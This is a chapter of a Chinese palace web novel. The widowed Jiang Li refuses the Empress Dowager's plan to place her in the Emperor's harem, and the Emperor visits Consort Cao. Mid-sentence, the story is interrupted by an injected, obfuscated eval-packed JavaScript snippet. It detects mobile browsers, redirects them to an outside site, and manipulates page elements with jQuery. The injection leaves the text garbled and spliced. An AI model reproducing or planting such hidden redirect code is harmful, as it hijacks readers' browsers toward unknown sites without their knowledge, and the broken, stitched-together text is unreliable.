第二章诉心
圣驾拂袖而去。
姜太后气得脸色发白，撑着凭几按揉太阳穴。姜璃跪在塌前，趴着她的膝盖哭成泪人儿。她并非嚎啕大哭，而是小声抽泣，时不时倒噎气，断断续续喃喃道：“母后，我不嫁，我守着阿渲，您让我守着阿渲……”
听在姜太后耳里，更觉得摧肝断肠。
她一生只生了两个儿子，受过先帝的宠爱也受过冷落，在后宫倾轧中如履薄冰。朝熙帝聪明沉稳，她对他寄予厚望，难免严厉。母子俩隔着的东西太多，关系并不亲密。而小儿子陆渲温柔纯良，承欢膝下，最令她心爱。姜璃是姜太后胞兄唯一的嫡女，聪慧灵动，自小便得她喜欢。
朝熙帝登基后，姜太后少了顾忌，常召姜璃入宫陪伴，日久天长，便更喜欢她了。于公于私，姜太后都想她成为儿媳，得享尊位。尽管她的意图在朝熙帝那里碰壁，但让小儿子娶了姜璃，她亦是乐见的。婚后的姜璃与陆渲情投意合，为陆渲带来喜乐安康，对她孝顺有加。如此水滴石穿，姜太后当真将姜璃当成亲女儿一般看待。
她想让姜璃进朝熙帝的后宫，不能说没一点为姜家打算的意思，但更多是为了姜璃与小孙子陆璀。
姜璃才十九岁，哪怕享有尊位，孤儿寡母守着偌大王府，有何生趣？她活着时尚能护着一二，等她去后，心爱的侄女和小孙子怎么办？远离权力中心，全凭朝熙帝念着救驾之功给予恩宠？还是等小孙子大了，不知用何方式博一个前程？稍有不慎，连这心爱小儿子仅有的一颗独苗都保不住？
不如早早看清人走茶凉的现实，提前打算。
再没有比嫁给朝熙帝更好的选择。趁着他正是理亏的时候，对生母和亲弟尚存温情的时候，姜璃最有可能得到他的尊重与怜惜。因怜生的情、高分位，乃至皇嗣，都是姜璃和小孙子余生的保障。这是朝熙帝欠睿安的。若他做不到好好待姜璃与亲侄，姜太后也不会放过他。
且唯有嫁给朝熙帝，才不算辱没姜璃曾是睿安王妃，以及姜氏女的身份。
这是姜太后痛失爱子后，好不容易打起精神为姜璃和小孙子权衡出来的利弊。偏姜璃打乱她的盘算，趴在她膝上一通哭，又把她的伤心勾起来。
她恼姜璃不知好歹，朝熙帝好不容易松口，她却不留余地的拒了。但姜璃对小儿子一片深情，宁愿守寡不愿再嫁，没白费了小儿子三年的疼宠，她作为母亲，又觉得欣慰与怜惜。
姜太后顺着她乌黑的长发道：“璃儿，你莫以为哀家让你嫁给皇帝是为姜家谋利。更重要的，是你和璀儿的安身立命……”为了说服姜璃，她把道理掰碎了给她讲。
姜璃擦干眼泪，红着眼哽咽道：“儿臣知母后一心为我和璀儿打算，心里万分感念。但皇上的心思三年前已经言明，他不愿姜氏女入宫，母后又何必因我逼迫他？姜家有您，可保三代富贵，若不知足，惹得皇上不耐烦，不但姜家不稳，我和璀儿也受累，又何来保障之说？退一步说，皇上非昏庸之君，奖罚分明，只要我安分守己，作为于国有功的亲王遗孀，他与朝廷总不至于薄了睿安王府。”
听她分析得头头是道，姜太后又欢喜又可惜。姜家是世家，姜璃是姜家嫡支唯一的嫡女，自小以金浆玉液供养，以诗书礼乐浇灌，美貌、智慧、眼光、手腕样样不缺。三年前姜家力荐她入宫，便是有信心她能在朝熙帝的后宫占据一席之位。未料朝熙帝拒绝得彻底，还指婚当时的安王。姜太后再爱重安王，也不得不承认安王的资质比不上朝熙帝。以姜璃的资质，合该配朝熙帝，嫁给安王委实浪费了些。安王府并没有她的用武之地。
姜太后道：“傻孩子，寡妇岂是好当的？你这次入宫，不管皇帝如何想，一开始必不会薄了你。以你的聪慧再施以手段，未必不能搏一个好前程。”
姜璃道：“我搏一个好前程图什么呢？便是再生一个皇嗣，一个亲王位已经到头了，还得在后宫战战兢兢。皇上登基至今，后宫出事的女人和孩子还少吗？我身份特殊，必成其他妃嫔的眼中钉。”她摇摇头，端正跪在姜太后面前，“请恕璃儿不孝，无意争这份荣耀富贵。王爷给了我一个女人最看重的东西，我守着他的心意，可安度余生。”
姜太后叹息。
姜璃叩头，似是恳求姜太后顺了她的意，没让姜太后看到她闪动的眸色。
姜太后宫里有朝熙帝的耳目。她这番话，不但是向姜太后明志，更是向朝熙帝明志。
——她姜璃不稀罕这后宫！
所以，若某一天她成了妃嫔，必非她自愿。
***
“谁稀罕！”
朦胧的景色中，含怒而去的倩影翩翩如烟，有人伸手去够，烟云自掌心四散而去，徒留下一地散落的芍药，花瓣凋谢，无人理会。
下一刻，少女执着一支开得灿烂的芍药，珍而重之地插入少年发间。生机盎然的花灼灼其华，少女与少年相视而笑，羞涩亲昵，修长的影子靠在一起，如交颈鸳鸯，耳鬓厮磨，炽热的呼吸缠绵交织……
“皇上……”
“皇上……”
朝熙帝从小憩中睁开眼，入目是曹贵妃并不讨人喜欢的一张脸，刻板、戒惧。
朝熙帝大婚时受封岐王，曹贵妃随王妃一同受封，身份是侧妃。朝熙帝登基后，她的份位水涨船高，得封妃位。嫁入皇室的女人少有不美的，曹贵妃亦然，但不论在王府还是后宫，在其他女人的映衬下，她的美貌仅是清秀有余。她没有美色可自持，便以德行约束自己，对上恭敬，对下宽和。朝熙帝长年累月想不起她，她也不急不躁，安分守己。后来先皇后抬举她，指她协理后宫。先皇后去后，朝熙帝将她从协理后宫的位置提上来，成为主理，晋位贵妃。
曹贵妃以向朝熙帝汇报后宫之事为由，才终于让他踏入长春宫。朝熙帝偶尔会在长春宫留宿，但从未和曹贵妃同塌而眠。曹贵妃不敢有怨言，她无家世无貌无宠无妊，得贵妃位全赖先皇后遗泽，掌权后宫掌得心虚气短。
此前圣驾遇刺，前朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763298|174481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后宫大清洗，她下令让宫正司打杀了一批宫人，此举使得她在后宫威信大增，同时又勾起她对朝熙帝的畏惧之心。此次有妃嫔被赐酒与白绫，份位最高的一个，是在上届选秀中大放异彩，得宠至今的丽婕妤。还有朝熙帝的表妹瑜昭仪，因说错了一句话被贬为美人。不知是谁告的密，曹贵妃尚蒙在鼓里，姜太后已经知道且出手惩戒了。曹贵妃甚至无从得知，姜太后何时在后宫安插了人，这个人到底是姜太后的人还是朝熙帝的人。
曹贵妃对此感到心惊胆颤。这段时间她并不想见到朝熙帝，连汇报后宫之事都交由宋妃递到乾清宫。不成想以往每隔十天半月才请一趟，每趟须请三次才勉强能请到一次的朝熙帝，到慈宁宫请安后突然来了长春宫，来了又什么都不说，径直坐在榻上撑着头假寐。曹贵妃只得守在一边小心伺候着。
朝熙帝直起身，问道：“什么时辰了？”
“酉时了，皇上，是否传膳？”
“嗯。”朝熙帝淡淡点头。
曹贵妃吩咐传膳，她的心腹宫女之一甘草朝她使了个眼色。曹贵妃为难了片刻，小心窥了下朝熙帝的神色。
朝熙帝喝着莫连真递来的茶，头也不抬：“何事？”
曹贵妃小心翼翼道：“只臣妾伺候皇上用膳未免有些清冷，不若请江妹妹过来陪陪皇上。”
她是长春宫主位妃嫔，掌了宫权后依然不受朝熙帝宠爱，故而采纳了心腹的建议，调了一些年轻鲜嫩的妃嫔宫女进来，为长春宫添一些鲜活气。每逢朝熙帝过来，不拘用膳还是就寝，将这些如花美眷往他跟前推，总算走通了一条争宠的路子。
雨花阁的江贵人便是以此晋身。这位江南美人吴侬软语，弱柳扶风，在留住朝熙帝的脚步上，有几分能耐。
朝熙帝对江贵人有点印象，依稀记得是个细腰的女子。他想到江贵人，脑袋里浮现的却是姜璃穿着单薄的寝衣站在殿中，憔悴虚弱，腰肢不盈一握的模样。以前的她粉脸桃腮，活泼飞扬，如今不过几日，脸都瘦尖了。
朝熙帝淡道：“明日睿安王出殡。”
曹贵妃脸色一白，跪下道：“臣妾一时糊涂。”她真是被猪肝蒙了心，竟忘了如此重要的事。朝熙帝得多缺心眼，才会在因护驾而逝的亲弟弟的丧期召幸妃嫔？
朝熙帝想到她身为贵妃，被最近的后宫清洗行动一吓，连这点低级错误都能犯，心情不虞：“你确实糊涂。”
曹贵妃脸色更白，攥紧了手指：“臣妾知错了，请皇上责罚……”
朝熙帝不想浪费唇舌与她掰扯，直接命令道：“以后不必日日到慈宁宫请安，初一十五过去即可。”
“睿安王妃在宫中休养，份列提半格，莫怠慢了。小睿安王目前养在昭和宫，份列按嫡皇子的规格，你多过去看望他，若有不长眼没看顾好，不论是谁，只管处置。”
“明日睿安王出殡，朕要宫里一切安稳妥当。”
有如此明确的指示，曹贵妃心口一松，凛然应诺：“臣妾遵旨。”